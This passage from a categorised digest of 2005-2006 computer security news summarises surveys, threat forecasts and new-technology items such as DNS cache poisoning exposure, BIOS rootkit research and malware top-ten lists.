A survey conducted by PricewaterhouseCoopers for the Department of Trade and Industry indicates that British businesses are making strides in their efforts to thwart computer attacks. Overall, the number of U.K. businesses to suffer computer incidents dropped from 74 percent in 2004 to 62 percent in 2005, according to the Information Security Breaches survey. By far the largest drop was seen in computer viruses, which fell by one-third, while other sorts of attacks and accidental data loss stayed relatively steady, said Chris Potter, who led the survey. He noted that the reduction of incidents follows an increase in security spending in the business sector, which now spends between 4 and 5 percent of technology budgets on security, compared to just 3 percent in 2004. Still, said Potter, many businesses, particularly smaller ones, continue to leave themselves vulnerable to computer attacks. In fact, the survey showed that the number of computer incidents affecting small businesses has risen by 50 percent since 2004.

Category 31.1 Surveys, studies, audits of security

2006-05-02 **top ten malware threats hoaxes Sophos report April 2006 businesses**

DHS IAIP Daily; http://www.sophos.com/pressoffice/news/articles/2006/05/topt enapr06.html

TOP TEN MALWARE THREATS AND HOAXES REPORTED TO SOPHOS IN APRIL 2006.

Sophos has revealed the top ten malware threats and hoaxes causing problems for businesses around the world during the month of April 2006. The report, compiled from Sophos's global network of monitoring stations, reveals that Netsky-P, which recently celebrated its second birthday, has returned to the top of the virus chart, replacing Zafi-B. However, as a proportion of all malware, e-mail viruses and worms continue to decline -- 86 percent of the threats reported to Sophos during April were Trojan horses used by hackers to download malicious code, spy on users, steal information or gain unauthorized access to computers. The top ten viruses in April 2006 were as follows: W32/Netsky-P; W32/Zafi-B; W32/Nyxem-D; W32/MyDoom-AJ; W32/Netsky-D; W32/Mytob-FO; W32/Mytob-C; W32/Mytob-Z; W32/Dolebot-A; W32/Mytob-AS.

31.2 Estimates, guesses, predictions, forecasts concerning security

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-01-10 **poll attack Internet power grid P2P peer-to-peer**

NewsScan; http://www.pewinternet.org/PPF/r/145/report_display.asp

NO SURPRISES HERE -- A BIGGER ROLE FOR THE INTERNET PREDICTED

A majority of the 1,286 experts polled by the Pew Internet & American Life Project and Elon University believe that at least one devastating attack on either the networked information infrastructure or the U.S. power grid will occur in the next 10 years. Other areas of general agreement: The Internet will become more deeply integrated in our physical environments and high-speed connections will become more commonplace. When examining the impact of these trends, 59% agreed that government and business surveillance activities likely will increase as computing devices become embedded in appliances, cars, phones and even clothes; 57% said virtual classes will play a greater role in formal education, with students occasionally grouped by skill level or interest, rather than by age; 56% predicted a continued blurring of the line between work and leisure thanks to the expansion of telecommuting, and resulting in a changing family dynamic; and 50% thought P2P music file-sharing would still be available a decade from now. Schools came in for sharp criticism, with many of the experts noting how little educational institutions had changed, despite all the hype over "school wiring" during the past decade. And it was generally agreed that the "digital divide" was alive and well, with low income, rural and poorly educated people having significantly less access to the Internet than their wealthier, better educated and more metropolitan counterparts. (Pew Internet & American Life Project 10 Jan 2005)

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-01-12 **computer information physical security merge 2005 Forrester Research report**

DHS IAIP Daily;
http://news.com.com/Computer%2C+physical+security+expected+t
o+merge/2100−7348_3−5534312.html

COMPUTER, PHYSICAL SECURITY EXPECTED TO MERGE

Companies will increasingly integrate physical and computer security systems in 2005, spending over $1 billion in the United States and Europe, according to a report released this week from Forrester Research. Companies have generally treated physical security as part of the facilities department and computer security as part of the information-technology group. But employee information has increasingly become integrated, allowing businesses to link the two systems, Steve Hunt, an analyst with Forrester Research, said in the report. "Locks, cameras, entry systems, and even guard desks will be upgraded to work with the same computing systems that control computer and network sign-on, identity management and security incident management," he said in the report. Government projects to integrate physical and network security will make up the lion's share of the money being spent, Forrester predicted. Report: http://www.forrester.com/Research/Document/Excerpt/0,7211,36 137,00.html

---

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-01-13 **national cybercrime survey Department Homeland Security DHS Justice DoJ 36000 businesses**

DHS IAIP Daily; http://fcw.com/fcw/articles/2005/0110/web−survey−01−13−
05.as p

CYBERCRIME SURVEY PLANNED

In what they hope will become the premier measure of national cybercrime statistics, officials at the Department of Homeland Security (DHS) and the Department of Justice (DOJ) plan to survey 36,000 businesses this spring to examine the type and frequency of computer security incidents. Officials from both departments said there are currently no surveys that do what they envision the Computer Security Survey will do annually: provide statistically relevant national data on cybercrime across all U.S. businesses, especially those in critical infrastructure sectors. Patrick Morrissey, deputy director for law enforcement and intelligence in DHS' National Cyber Security Division, said no one really knows if the problem is getting better or worse or what sectors cybercriminals may be targeting. Better data could help form policy and improve resource allocation for government and the commercial sector, but few datasets are available on the national level.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-03-02 **information technology IT executives survey cybersecurity highest priority 2005 IPIC conference**

DHS IAIP Daily; http://www.govexec.com/dailyfed/0305/030205p1.htm

IT EXECUTIVES SAY CYBERSECURITY IS TOP CONCERN

Leading federal information technology executives say that cybersecurity is their chief concern, according to an information technology vendor's survey. Forty-three percent of federal executives surveyed at a conference this week in Orlando, FL, said information technology security was their highest priority for 2005. More than two-thirds listed it is one of their top three concerns. The survey, released Wednesday, March 2, by CDW Government Inc., was conducted at the 2005 IPIC conference, and included 79 government technology executives attending the conference. The Federal IT Executive Survey results are similar to those in a recent survey by the Information Technology Association of America, which concluded that cybersecurity is the top priority of federal chief information officers. The IPIC conference is a forum for Government and Industry Information Technology (IT) executives to meet and share experiences of mutual interest. Survey: http://www.govexec.com/pdfs/IPIC.ppt

---

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-03-09 **US high-tech companies Microsoft Cisco HP warn investment lose competitive advantage**

DHS IAIP Daily; http://www.washingtonpost.com/ac2/wp−dyn/A17721−2005Mar8?lan guage=printer

U.S. TECHNOLOGY LEADERS WARN OF LOSING COMPETITIVE ADVANTAGE.

Leaders of high-tech companies said Tuesday, March 8, the United States risks losing its competitive edge without significant new investments in education, research and development and the spread of broadband technology. TechNet, which represents about 200 high-tech leaders, including Microsoft, Intel Corp., Cisco Systems, and Hewlett Packard, made its annual lobbying trip to Capitol Hill on Tuesday. TechNet officials cited some troubling indications that the U.S. is falling behind in high-tech development: the percentage of U.S. households with broadband access lags behind other highly-developed countries; U.S. investment in research and development has stayed flat for the last three decades, while it has grown significantly in competitor countries; and students in the U.S. are behind their counterparts in other countries in math and science. Among other recommendations, the group called on Congress to increase basic research funding, make permanent a research and development tax credit, and promote cybersecurity initiatives.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-03-15 **antivirus management stress survey**

http://news.bbc.co.uk/1/hi/technology/4349065.stm

ANTIVIRUS EFFORTS WORSE THAN DIVORCE

"Keeping computer viruses at bay is more stressful than divorce, warns a survey. The research revealed how European technology bosses were coping with the growing number of hi-tech threats...About 20% of those questioned said the stress of protecting their employer was worse than getting married, moving house or separating from a partner."

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-03-23 **study user blame encouraging spam bad e-mail behavior**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4375601.stm

STUDY BLAMES USERS FOR ENCOURAGING SPAM

A new report lays much of the blame for the ongoing problem of spam at the feet of computer users who open spam messages and even buy products or services advertised in spam. According to the survey, conducted by Mirapoint and the Radicati Group, nearly one-third of users have opened such messages, and one in ten has made a purchase. The report calls such actions "bad e-mail behavior" and said it encourages not just marketers but con artists to continue sending vast amounts of spam. Many adult-themed e-mail messages lure computer users into visiting Web sites that then install spyware or other malicious code. Graham Cluley, senior technology consultant for security firm Sophos, agreed that users bear much of the responsibility for spam's continued presence.
"If no one responded to junk e-mail and didn't buy products sold in this way," he said, "then spam would be as extinct as the dinosaurs." BBC, 23 March 2005

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-06-20 **hacker security tools attacked software vulnerability Symantec F-Secure CheckPoint**

DHS IAIP Daily;
http://news.com.com/Security+tools+face+increased+attack/210 0−1002_3−5754773.html?tag=nefd.top

SECURITY TOOLS FACE INCREASED ATTACK ACCORDING TO RESEARCH GROUP

As the pool of easily exploitable Windows security bugs dries up, hackers are looking for holes in security software to break into PCs, Yankee Group analysts said in a research paper published Monday, June 20. According to the Yankee Group, software makers of ubiquitous antivirus products have not yet been forced to acknowledge and fix potential problems in their code. Microsoft's Windows operating system has been a favorite target of hackers, but new security flaws are being discovered in security products at a faster rate than in Microsoft's products, the analysts wrote. Symantec, F-Secure and CheckPoint Software Technologies are among the vendors that have seen a rise in the number of security issues that affect their products in the past years and the Yankee Group predicts a "rising tide" of vulnerabilities will soon be found in security products. Yankee Group findings: http://www.yankeegroup.com/public/news_releases/news_release_detail.jsp?ID=PressReleases/news_06202005_FearandLoathing_P R.htm

---

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-06-22 **port sniffing attack warning TCP 445 SMB protocol Windows XP SP2 Gartner research**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/holes/story/0,10801,102687,00.html

INCREASED PORT 'SNIFFING' COULD HERALD ATTACK, RESEARCHER WARNS

An increase in "sniffing" activity on TCP Port 445 associated with a recently patched Microsoft vulnerability may be the signal of an impending attack attempting to exploit the flaw, according to an alert from analyst firm Gartner. The flaw in question is a remote code execution vulnerability associated with the Microsoft Windows Server Message Block (SMB) Protocol. Attackers who exploit this vulnerability could take complete control of affected systems. An increase in activity on TCP Port 445, which is associated with the SMB protocol, may be a signal that attackers are attempting to exploit the hole, Gartner analyst John Pescatore said in an alert posted Tuesday, June 21. Officials at Symantec also spotted increased activity on Port 445, but they downplayed any immediate threat. Alfred Huger, senior director of engineering at Symantec, said his company noted a " significant spike" in activity last Friday, June 17. Since then, activity levels have gone back to normal. "Activity targeting Port 455 is very common. It's almost like background noise," Huger said. Companies that have installed Microsoft's Windows XP SP2 should also be protected against the flaw because it closes off access to Port 445 by default, Huger said.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-08-03 **warning SANS Internet servers attack risk DNS cache poisoning**

DHS IAIP Daily; http://news.com.com/DNS+servers−−an+Internet+Achilles+heel/2 100−7349_3−5816061.html?tag=nefd.lede

INTERNET SERVERS AT RISK OF ATTACK

In a scan of 2.5 million so-called Domain Name System machines, which act as the White Pages of the Internet, security researcher Dan Kaminsky found that about 230,000 are potentially vulnerable to a threat known as DNS cache poisoning. "That is almost 10 percent of the scanned DNS servers," Kaminsky said in a presentation last week at the Black Hat security event in Las Vegas, NV. The motivation for a potential attack is money, according to the SANS Internet Storm Center, which tracks network threats. Attackers typically get paid for each spyware or adware program they manage to get installed on a person's PC. Information lifted from victims, such as social security numbers and credit card data, can also be sold. Additionally, malicious software could be installed on a PC to hijack it and use it to relay spam. The DNS servers in question are run by companies and Internet service providers to translate text-based Internet addresses into numeric IP addresses. The cache on each machine is used as a local store of data for Web addresses.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-08-04 **worm activity behavior dodge Net traps intrusion sensors**

DHS IAIP Daily; http://news.zdnet.com/2100−1009_22−5819293.html

WORMS COULD DODGE NET TRAPS

In a pair of papers presented at the Usenix Security Symposium in Baltimore, MD, Thursday, August 4, computer scientists said would-be attackers can locate such sensors, which act as trip wires that detect unusual activity. Internet sensor networks are groups of machines that monitor traffic across active networks and chunks of unused IP space. The sensor networks generate and publish statistical reports that permit an analyst to track the traffic, sniff out malicious activity and seek ways to combat it. The locations of the Internet sensors are kept secret. In a paper titled "Mapping Internet Sensors with Probe Response Attacks," a team of computer scientists from the University of Wisconsin discovered that the sensor maps furnish just enough information for someone to create an algorithm that can map the location of the sensors. All an attacker would have to do is throw packets of information at IP addresses and then check to see whether the activity showed up on the sensor reports. Researchers from Japan came to a similar conclusion in a paper titled "Vulnerabilities of Passive Internet Threat Monitors." The threat could be diminished, both studies said, if the information in the networks' public reports was less detailed.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-11-10 **computer security threats networked peripheral devices**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,123483,00.asp

ANY NETWORKED OFFICE GEAR CAN BE VULNERABLE TO ONLINE ATTACKERS

On Tuesday, November 9, at a two-day Office Document Solutions conference in Boston, MA, a number of presenters implored makers of printers, copiers, scanners, and other such devices to start thinking about security threats to office gear beyond just computers. According to Jim Joyce, senior vice president for office services at Xerox Global Services, "Network-connected output devices are becoming an absolute primary target of people, foreign and domestic, who are penetrating networks...The reason for that is many of them are large devices with large disk drives, with a fair amount of memory and are network connected and are not secure." Joyce said that Xerox has poured some $20 million in recent years into technologies to better manage office and document systems and is putting a particular emphasis on security. He noted that some machines, such as multifunction devices, might have several operating systems in them that could provide security holes if not protected.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-11-29 **cyber crime attack threat risk prediction security expert warning DHS Scott Borg**

DHS IAIP Daily;
http://www.infoworld.com/article/05/11/29/HNmoreattacks_1.html

SECURITY EXPERT: MORE SOPHISTICATED ATTACKS LIKELY

The cyber attacks of recent years have been relatively unsophisticated and inexpensive compared to the potential of organized attacks, a cybersecurity expert said Tuesday, November 29. Organized attacks by teams of hackers that have members with expertise in business functions and processes -- as well the rudimentary access and coding expertise that many current attackers have -- could have a huge impact on a nation's economy, said Scott Borg, director of the U.S. Cyber Consequences Unit, an agency supported by the U.S. Department of Homeland Security. "We will probably see terrorist groups, criminal organizations putting together combinations of talent," Borg said at the E-Gov Institute's Security Conference in Washington, DC. While past cyber attacks have done relatively small amounts of damage, coordinated attacks on important targets such as the U.S. electrical grid, the banking and finance industry, or the telecommunications and Internet industries could potentially cause many billions of dollars in damage, he said. Most viruses and worms knock out company networks for two or three days at most, but costs would multiply quickly for any coordinated attack on a critical U.S. industry that knocked out service for more than three days, said Borg, an economist.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-11-29 **RSS Really Simple Syndication security threat risk prediction Trend Micro expert Microsoft Internet Explorer IE**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1894232,00.asp

TREND MICRO: REALLY SIMPLE SYNDICATION IS WORM BOT'S NEXT TARGET

Security researchers at Trend Micro Inc. have pinpointed Really Simple Syndication (RSS) technology as a lucrative target for future bot worm attacks. David Sancho, senior anti-virus research engineer at Trend Micro, warned that RSS feed hijacking will become commonplace when Microsoft Corp. ships Internet Explorer 7 (IE7), a browser refresh that will feature built-in RSS support. In a white paper titled "The Future of Bot Worms," Sancho said the IE7 release "will open some interesting possibilities to worm creators." "The easy way of taking advantage of the popularity [of RSS] is to hijack the existing configured feed clients to automatically download new copies of worms and other threats to the infected computers. This is accomplished by pointing the already-configured client to different and malicious Web content," Sancho wrote. "The way this would work is checking if the system has any automatic feed download configured. If it does, it would just add or change an existing one to point to the malicious Website," he added. Sancho predicts that RSS feed hijacking attacks will serve as a passive download point that could easily bypass personal firewalls and other security barriers. David Sancho's white paper: http://www.trendmicro.com.au/global/products/collaterals/whi te_papers/BotsWP.pdf

---

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-12-06 **technology return-on-investment ROI study academia industry difficult complex problem management issues**

EDUPAGE; http://www.fcw.com/article91625-12-06-05-Web

ACADEMY AND INDUSTRY STUDY ROI

A group of academic and industry researchers will work together on an initiative to create a methodology that organizations can use to study the return on investment (ROI) of technology projects. Governments are increasingly asked to demonstrate the value of taxpayer dollars invested in IT projects. Led by the Center for Technology in Government (CTG) at the State University of New York at Albany and SAP, the effort will include researchers from Harvard University's John F. Kennedy School of Government, Accenture, Gartner Research, Cisco Systems, and North American and European government agencies. Anthony Cresswell, deputy director of CTG, said that calculating ROI for IT projects "has been a complex and difficult problem." He said the new effort will "produce results that will make a major contribution to the ability of governments of all types to enhance the political, social, and economic value they obtain from IT investments." Federal Computer Week, 6 December 2005

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-12-07 **FBI report terror groups lack denial-of-service Internet attack capability**

DHS IAIP Daily; http://abcnews.go.com/Politics/wireStory?id=1383901

FEDERAL BUREAU OF INVESTIGATION: TERROR GROUPS LACK ABILITY TO MOUNT CRIPPLING INTERNET-BASED ATTACKS

Al Qaeda and other terror groups are more sophisticated in their use of computers but still are unable to mount crippling Internet-based attacks against U.S. power grids, airports and other targets, the Federal Bureau of Investigation's (FBI) top cyber crime official said Wednesday, December 7. Investigators keep a close watch on terror groups' use of computers but have not detected any plans to launch cyber attacks against major public institutions in the United States, FBI assistant director Louis M. Reigel said. The government has conducted simulated terrorist attacks on computer, banking, and utility systems, and Reigel said his division of around 1,100 agents treats seriously the prospect of such a strike. FBI cyber experts have noticed progress in the technical mastery suspected terrorists have shown online, he said. Terrorists also have made only infrequent use of stenography, the practice of hiding a text message in another kind of file, typically a picture, Reigel said.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-12-23 **Microsoft Vista metadata operating system files tags IT document information security privacy risk**

DHS IAIP Daily; http://www.newsfactor.com/news/Gartner−Warns−About−Vista−Met adata/story.xhtml?story_id=113003ORER88

GARTNER WARNS ABOUT MICROSOFT VISTA METADATA PROBLEM.

Windows Vista, the next version of Microsoft's Windows client operating system, will give users the ability to search for files by looking for information in the file's metadata tags. However, a report by IT research firm Gartner warned that allowing users to search for metadata tags in this manner could result in private information being inadvertently disclosed. Metadata consists of "data about data." It is supplementary information about the author of a document, its various revisions, and any changes that have been made, explained Neil MacDonald, Gartner's vice president and distinguished analyst of information security, privacy, and risk. The Gartner report, "Plan To Deal with Metadata Issues with Windows Vista," written by MacDonald and Gartner analyst Michael Silver, outlines one example in which an employee might give a document about a client the metadata tag "bad client." If that document were then sent to the client, considerable embarrassment, even loss of business, could result. The Gartner report suggested that firms must have a strategy in place for dealing with metadata before adopting Windows Vista. The referenced Gartner report is available for purchase: http://www.gartner.com/

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2005-12-28 **Instant messaging threats MessageLabs malicious target infect enterprises spam Trojan attacks report phishing emails**

DHS IAIP Daily; http://www.scmagazine.com/uk/news/article/533780/firm−im−thr
eats−increase−next−year/

INSTANT MESSAGING THREATS TO INCREASE NEXT YEAR

MessageLabs warned that malicious users will increasingly target instant messaging (IM) in the next year, calling it a "widening backdoor" to infect enterprises with spam and trojan attacks. In a year-end report, the company said, "Spammers will diversify further into the IM ecosystems, as business adoption of IM increases and as the 'big three' IM protocols begin to standardize in 2006 and onwards." The report also noted a considerable increase in phishing emails sent this year, representing 13 percent of malicious emails intercepted during 2005, with a high of 27 percent in January. In total, more than 62.5 million phishing emails were intercepted by MessageLabs since Saturday, January 1, an increase of 238 percent from the 18 million caught the year before. The company also predicted more attacks on mobile devices: "Criminals will continue to attempt to gain access to users' mobile devices as the proliferation of wireless technologies like Wi-Fi spreads to airplanes, trains, and other public locations." Analysts found targeted attacks on specific industries became more common in 2005. Over all, MessageLabs reported one in every 36.15 emails sent this year contained a virus or Trojan. The report noted that cybercriminals chose more specific targets during 2005.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-01-19 **cybercrime price FBI estimate $67 billion**

EDUPAGE; http://news.com.com/2100-7349_3-6028946.html

PUTTING A PRICE ON CYBERCRIME

A study by the FBI estimates that yearly losses to computer crimes exceed $67 billion. The study is based on the results of a survey of more than 2,000 organizations, of which 90 percent reported having suffered some form of computer attack in the previous 12 months, and 64 percent said they suffered a financial loss due to those attacks. The average financial loss was $24,000 per company. In estimating total losses, the FBI multiplied the average loss by just 20 percent of U.S. organizations because survey results are often skewed when reporting problems. Even with the significant reduction in the number of affected businesses, the total estimate was an enormous amount of money, far exceeding the $1 billion in losses each year to telecommunications fraud. Because of the relatively large sample size, Bruce Verduyn of the FBI said he believes the estimate is more accurate than other studies that have attempted to quantify losses to cybercrime.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-01-24 **spammer innovation ISP prediction Internet Service Providers**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,124408,00.asp

SPAMMERS WILL INNOVATE, MORPH, AND ADAPT IN 2006.

Representatives at several ISPs say they are gearing up for new challenges in 2006, when they expect spammers to grow more sinister. AOL spam fighters say that 2006 will be the year of the zombie networks. Zombie PCs are computers that have been infected by malicious code that allows spammers to use them to send e-mail. AOL also says that in 2006 there will be more "special-order" spam, in which phishers play off of your security concerns, especially the fear that your identity has already been stolen. Viruses and worms that take advantage of security holes in Microsoft's Outlook and Internet Explorer are a given for 2006, say experts. Richi Jennings, analyst at Ferris Research, says the recent Windows Metafile Format flaw is a perfect example. Also experts predict a new spam theme this year. In 2005 spam pitches ranged from cable descramblers to "free" iPods. But in 2006 spammers will be promoting things like investment opportunities and pumping penny stocks instead of pushing products. This is likely because it's extremely hard to differentiate a real stock tip from your broker as opposed to a fake one from a spammer, AOL says.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-01-26 **prediction BIOS rootkits insider attacks**

DHS IAIP Daily; http://www.securityfocus.com/news/11372

RESEARCHERS: ROOTKITS HEADED FOR BIOS.

Insider attacks and industrial espionage could become stealthier by hiding malicious code in the core system functions available in a motherboard's flash memory, researchers said on Wednesday, January 25, at the Black Hat Federal Conference. A collection of functions for power management, known as the Advanced Configuration and Power Interface (ACPI), has its own high-level interpreted language that could be used to code a rootkit and store key attack functions in the Basic Input/Output System (BIOS) in flash memory, according to John Heasman, principal security consultant for UK-based Next-Generation Security Software. The researcher tested basic features, such as elevating privileges and reading physical memory, using malicious procedures that replaced legitimate functions stored in flash memory. "Rootkits are becoming more of a threat in general -- BIOS is just the next step," Heasman said during a presentation at the conference. "While this is not a threat now, it is a warning to people to look out." The worries come as security professionals are increasingly worried about rootkits. While some attacks have attempted to affect a computer's flash memory, the ability to use the high-level programming language available for creating ACPI functions has opened up the attack to far more programmers.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-02-16 **DHS NCSA cyber threat predictions 2006 IM virus worms phishing cell-phone PDA viruses**

EDUPAGE; http://news.yahoo.com/s/nf/20060216/tc_nf/41677

PREDICTIONS OFFERED ON CYBERTHREATS

The Department of Homeland Security (DHS) and the National Cyber Security Alliance (NCSA) have issued a set of warnings about the kinds of cyberthreats the two organizations anticipate will be on the rise in 2006. Officials involved said the list of predictions is intended to raise awareness of computer threats in the hope that users will better protect themselves. "Arming consumers with a list of emerging threats is just the first step to educating consumers about the ever-evolving online security environment," said Ron Teixeira, executive director of the NCSA. The four areas identified in the list are instant-messaging viruses and worms, phishing, cell-phone and PDA viruses, and attacks on online brokerage accounts. Included with the warnings was acknowledgment that many computer crimes are not reported, complicating the task of tracking them. The agencies provided a number of strategies consumers can use to minimize their risks of being victimized.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-04-07 **estimate security risk Web services ignored Ajax Xquery**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0 ,10801,110321,00.html

RESEARCHER: SECURITY RISKS IN WEB SERVICES LARGELY IGNORED.

In their rush to implement Web services, some companies may be exposing themselves to new security risks that they may not fully understand, a security researcher said on Thursday, April 6. During a presentation at the CanSecWest/Core06 Conference, researcher Alex Stamos outlined how a number of Web services technologies, including AJAX and the XQuery query language, could be exploited by hackers to attack systems. Stamos described an attack whereby a user could enter malicious code into a Web form and then get that code to run by calling up the company's customer service number and tricking a representative into inadvertently executing it. Stamos also showed how Web services requests could be used to conduct denial-of-service attacks.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-04-20 **Linux desktop malware activity prediction estimate warning**

DHS IAIP Daily;
http://www.computerworld.com/softwaretopics/os/linux/story/0 ,10801,110710,00.html

LINUX DESKTOP GROWTH COULD SPUR NEW MALWARE ACTIVITY.

Besides Linux's low cost, its relative immunity from viruses, spyware, worms and other malware has long been one of the open-source operating system's key attractions to potential desktop users. But experts warn that could change if Linux begins to win a mass audience on the desktop, bringing in millions of users who are less proficient technically and less security-conscious than today's typical Linux user. The number of viruses that has so far targeted Linux remains small compared with the thousands of viruses and billions of dollars in estimated damage and lost productivity caused by Windows viruses. Some experts argue that because Linux, with its Unix heritage, was created from the ground up as a multi-user system with built-in access controls and privileges, it is fundamentally more secure than Windows. The relatively small number of Linux users spread among different versions of Linux has long hindered the growth of new software by creating a lower reward/effort ratio. That has also driven away virus creators, said Ed Metcalf, product marketing manager at McAfee Inc. Regardless, some Linux users, while reluctant to install antivirus software on client computers, are starting to take more safety measures.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-04-25 **insider infiltration threat business security concern UK crime agency**

DHS IAIP Daily;
http://news.com.com/Mafia+insiders+infiltrating+firms%2C+U.K .+cops+warn/2100−7348_3−6064954.html?tag=cd.top

INSIDERS INFILTRATING FIRMS, UK CRIME AGENCY WARNS.

Employees are still one of the greatest threats to corporate security. Speaking Tuesday, April 25, at the Infosecurity 2006 conference in London, Tony Neate, e-crime liaison for the Serious Organized Crime Agency, said insider "plants" are causing significant damage to companies. "[Organized crime] has changed. You still have traditional organized crime, but now they have learned to compromise employees and contractors. [They are] new-age, maybe have computer degrees and are enterprising themselves," he added.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-04-26 **Federal Computer Week checklist new cyberthreat outline US government industry Cybersecurity Checklist Cyber Consequences Unit**

DHS IAIP Daily; http://www.fcw.com/article94201−04−26−06−Web

CHECKLIST OUTLINES NEW CYBERTHREATS.

The U.S. government and industry face many cyberthreats that, until now, have not received adequate attention, according to a new checklist outlining the threats. "We're talking about vulnerabilities where we can calculate the effects, and the effects are considerable," said Scott Borg, director and chief economist at the U.S. Cyber Consequences Unit. The unit's Cybersecurity Checklist looks at potential avenues for real-world cyberattacks and recommends ways to thwart them. The unit analyzed each of the 16 critical infrastructure sectors, Borg said. Many sectors say they follow international security standards but still have gaping security vulnerabilities, he said. Borg presented a draft version of the list at the GovSec conference in Washington, DC. The Department of Homeland Security has not yet approved the draft.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-05-01 **smarter spam techniques mimic e-mail friends real companies social engineering**

DHS IAIP Daily;
http://www.techweb.com/headlines_week/showArticle.jhtml?arti cleId=187002202

SMARTER SPAM COULD MIMIC FRIENDS' MAIL.

The next generation of spam and phishing e-mails could fool both software filters and the most cautious people, Canadian researchers said Sunday, April 30, by mimicking the way friends and real companies write messages. John Aycock, an assistant professor of computer science at the University of Calgary, and his student, Nathan Friess, explained that tomorrow's criminals could plant malicious programs on compromised computers. Those programs would scan the e-mail in the zombie's inbox, mine it for information and writing patterns, then crank out realistic-looking replies to real messages.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-05-05 **file sharing peer-to-peer P2P music piracy copyright intellectual property rights RIAA US Supreme Court**

EDUPAGE; http://online.wsj.com/article/SB114678807401044401.html

FILE-SHARING LANDSCAPE EVOLVES

The fallout continues from a U.S. Supreme Court ruling in June that found that the file-sharing service Grokster could be sued for copyright infringements taking place with its application. After that ruling, the Recording Industry Association of America (RIAA) pressed a number of file-sharing companies to modify their operations or face legal action. Grokster settled with the RIAA in November, and, in the latest announcement, BearShare has settled with the RIAA for $30 million and committed to stop facilitating illegal file sharing. Another file-sharing company, iMesh, which settled with the RIAA in 2004 for $4.1 million, announced it will acquire the assets of Free Peers Inc., which owns BearShare. Robert Summer, CEO of iMesh, said his company is "committed to transitioning the compelling experience of [peer-to-peer file sharing] to an authorized marketplace." Streamcast Inc., which owns the Morpheus file trading application, is pressing on with its defense against the RIAA.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-05-08 **Microsoft Vista security interference annoying prediction**

DHS IAIP Daily;
http://www.techweb.com/wire/security/187201321;jsessionid=FO
DGNYAZCAXS2QSNDBGCKH0CJUMEKJVN

MICROSOFT VISTA'S SECURITY WILL BE HIGHLY ANNOYING: YANKEE GROUP ANALYST.

Windows Vista's new security features will so annoy users that Microsoft won't meet its goal of 400 million copies in two years, Yankee Group's Andrew Jaquith said Monday, May Although Microsoft touts Vista as its most secure operating system ever, Jaquith sees it as somewhat of an albatross. "Anytime you put in a new security system, you're asking users to make changes," he said. But the shift in Vista, which Jaquith characterized as the first major security modifications since Windows NT, will require a huge alteration in how people interact with Windows. "In the Windows world, there are few limits on what a user can do," says Jaquith. That's part of the problem, says Microsoft, which has instituted a feature in Vista dubbed "User Account Control" (UAC) which takes a least-privilege approach to changes made to the OS and will require a user password for many common chores, including software installation.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*

2006-05-12 **search engines spread malware McAfee report**

DHS IAIP Daily;
http://www.betanews.com/article/Report_Search_Engines_Spread
_Malware/1147449437

REPORT: SEARCH ENGINES SPREAD MALWARE.

Security software company, McAfee said Friday, May 12 that the epidemic of spyware and viruses could be linked to search engines. According to research from the company, even seemingly benign search terms could bring up sites loaded with nasty payloads. The study, "The Safety of Internet Search Engines," looked at the five major search engines -- Google, Yahoo, MSN, AOL, and Ask -- and covered a period from January through April. Researchers found that in every search engine, popular keywords returned sites that could be potentially dangerous.

31.3 New technology with security implications

Category 31.3 *New technology with security implications*

2005-01-24 **machine learning cognitive science artificial intelligence pattern recognition intrusion detection logic programming**

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn6914

MACHINE LEARNS GAMES "LIKE A HUMAN;" COULD POTENTIALLY DETECT INTRUDERS.

A computer that learns to play a 'scissors, paper, stone' by observing and mimicking human players could lead to machines that automatically learn how to spot an intruder or perform vital maintenance work, say UK researchers. CogVis, developed by scientists at the University of Leeds in Yorkshire, UK, teaches itself how to play the children's game by searching for patterns in video and audio of human players and then building its own "hypotheses" about the game's rules. In contrast to older artificial intelligence (AI) programs that mimic human behavior using hard-coded rules, CogVis takes a more human approach, learning through observation and mimicry. Chris Needham, a member of the CogVis team, says the system's visual processor analyzes the action by separating periods of movement and inactivity and then extracting features based on color and texture. Combining this with audio input, the system develops hypotheses about the game's rules using an approach known as inductive logic programming.

Category 31.3 *New technology with security implications*

2005-08-01 **car computer systems MP3 Bluetooth protocol risk viruses**

DHS IAIP Daily;
http://www.cnn.com/2005/TECH/08/01/viruses.cars.reut/index.html

